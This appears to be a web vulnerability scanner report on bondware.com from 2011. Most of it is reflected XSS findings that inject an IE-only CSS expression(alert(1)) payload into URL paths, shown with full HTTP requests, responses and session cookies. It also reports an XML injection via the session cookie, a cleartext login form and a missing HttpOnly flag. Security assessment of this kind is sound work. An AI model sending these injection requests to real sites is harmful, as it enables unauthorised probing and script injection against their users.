GET /main.jsb81ba"style%3d"x%3aexpression(alert(1))"804f2c98f82?b=20090310 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:38 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21299
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1544"style%3d"x%3aexpression(alert(1))"389e6819445 was submitted in the REST URL parameter 1. This input was echoed as e1544"style="x:expression(alert(1))"389e6819445 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /mode1544"style%3d"x%3aexpression(alert(1))"389e6819445/bcs/index.php?ViewProduct=68 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:05:13 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21343
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e614"style%3d"x%3aexpression(alert(1))"80cb95fdb38 was submitted in the REST URL parameter 2. This input was echoed as 7e614"style="x:expression(alert(1))"80cb95fdb38 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /mod/bcs7e614"style%3d"x%3aexpression(alert(1))"80cb95fdb38/index.php?ViewProduct=68 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:05:25 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21357
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63e9a"style%3d"x%3aexpression(alert(1))"7590cde8276 was submitted in the REST URL parameter 3. This input was echoed as 63e9a"style="x:expression(alert(1))"7590cde8276 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /mod/bcs/index.php63e9a"style%3d"x%3aexpression(alert(1))"7590cde8276?ViewProduct=68 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:05:30 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21359
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload daf0b"style%3d"x%3aexpression(alert(1))"03189bb7b41 was submitted in the REST URL parameter 1. This input was echoed as daf0b"style="x:expression(alert(1))"03189bb7b41 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /moddaf0b"style%3d"x%3aexpression(alert(1))"03189bb7b41/ecs/index.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:05:10 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21352
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40bd6"style%3d"x%3aexpression(alert(1))"a30bb61897b was submitted in the REST URL parameter 2. This input was echoed as 40bd6"style="x:expression(alert(1))"a30bb61897b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /mod/ecs40bd6"style%3d"x%3aexpression(alert(1))"a30bb61897b/index.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:05:20 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21328
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79a65"style%3d"x%3aexpression(alert(1))"14a15e8ac1e was submitted in the REST URL parameter 3. This input was echoed as 79a65"style="x:expression(alert(1))"14a15e8ac1e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /mod/ecs/index.php79a65"style%3d"x%3aexpression(alert(1))"14a15e8ac1e HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:05:30 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21304
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f0a1"style%3d"x%3aexpression(alert(1))"29fd5dfc754 was submitted in the REST URL parameter 1. This input was echoed as 1f0a1"style="x:expression(alert(1))"29fd5dfc754 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /mod1f0a1"style%3d"x%3aexpression(alert(1))"29fd5dfc754/forumpro HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:04:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21273
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3e20"style%3d"x%3aexpression(alert(1))"d12c58342a3 was submitted in the REST URL parameter 2. This input was echoed as e3e20"style="x:expression(alert(1))"d12c58342a3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /mod/forumproe3e20"style%3d"x%3aexpression(alert(1))"d12c58342a3 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:05:06 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21322
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 296ca"style%3d"x%3aexpression(alert(1))"a48d0aa7f1 was submitted in the REST URL parameter 1. This input was echoed as 296ca"style="x:expression(alert(1))"a48d0aa7f1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /profile.php296ca"style%3d"x%3aexpression(alert(1))"a48d0aa7f1 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:04:16 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21352
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95e80"style%3d"x%3aexpression(alert(1))"48420e4663c was submitted in the REST URL parameter 1. This input was echoed as 95e80"style="x:expression(alert(1))"48420e4663c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /search.php95e80"style%3d"x%3aexpression(alert(1))"48420e4663c HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:04:29 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21352
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 750f9"style%3d"x%3aexpression(alert(1))"489a5d57464 was submitted in the REST URL parameter 1. This input was echoed as 750f9"style="x:expression(alert(1))"489a5d57464 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /section750f9"style%3d"x%3aexpression(alert(1))"489a5d57464/product-news-release-notes---news-feeder HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:03:55 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21426
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89e4e"style%3d"x%3aexpression(alert(1))"b8ebf649e9a was submitted in the REST URL parameter 1. This input was echoed as 89e4e"style="x:expression(alert(1))"b8ebf649e9a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /set_country_code.php89e4e"style%3d"x%3aexpression(alert(1))"b8ebf649e9a?country_code= HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:04:36 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21347
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52c9e"style%3d"x%3aexpression(alert(1))"369d45702e2 was submitted in the REST URL parameter 1. This input was echoed as 52c9e"style="x:expression(alert(1))"369d45702e2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /site.css52c9e"style%3d"x%3aexpression(alert(1))"369d45702e2?b=1297114965 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:30 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21329
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 827fb"style%3d"x%3aexpression(alert(1))"11963b5a858 was submitted in the REST URL parameter 1. This input was echoed as 827fb"style="x:expression(alert(1))"11963b5a858 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /site.js827fb"style%3d"x%3aexpression(alert(1))"11963b5a858?b=1286824679 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:28 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21330
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61796"style%3d"x%3aexpression(alert(1))"fa6fda7593f was submitted in the REST URL parameter 1. This input was echoed as 61796"style="x:expression(alert(1))"fa6fda7593f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /sitemap.php61796"style%3d"x%3aexpression(alert(1))"fa6fda7593f HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:04:16 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21301
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9edb0"style%3d"x%3aexpression(alert(1))"26eff797889 was submitted in the REST URL parameter 1. This input was echoed as 9edb0"style="x:expression(alert(1))"26eff797889 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /sitepanel.php9edb0"style%3d"x%3aexpression(alert(1))"26eff797889 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:04:18 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21351
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99b03"style%3d"x%3aexpression(alert(1))"906f9c6c65b was submitted in the REST URL parameter 1. This input was echoed as 99b03"style="x:expression(alert(1))"906f9c6c65b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /tos.php99b03"style%3d"x%3aexpression(alert(1))"906f9c6c65b HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:04:07 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21298
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea503"style%3d"x%3aexpression(alert(1))"81adc0c9bd8 was submitted in the REST URL parameter 1. This input was echoed as ea503"style="x:expression(alert(1))"81adc0c9bd8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /webform.phpea503"style%3d"x%3aexpression(alert(1))"81adc0c9bd8?ViewForm=11 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:03:59 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21344
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://bondware.com/login.php
The form contains the following password field:
password
Issue background
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
Request
GET /login.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 40512
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The PHPSESSID cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the PHPSESSID cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Issue background
XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.
This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.
Issue remediation
The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.
Request
GET /online-magazine-website-software-cms-253 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmb=200775741; __utmc=200775741; __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70]]>>
Response
HTTP/1.1 503 Service Unavailable Date: Wed, 16 Mar 2011 17:34:08 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Retry-After: 1440 Content-Length: 658 Connection: close Content-Type: text/html; charset=UTF-8
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lan ...[SNIP]...
4. Cookie without HttpOnly flag setpreviousnext There are 2 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
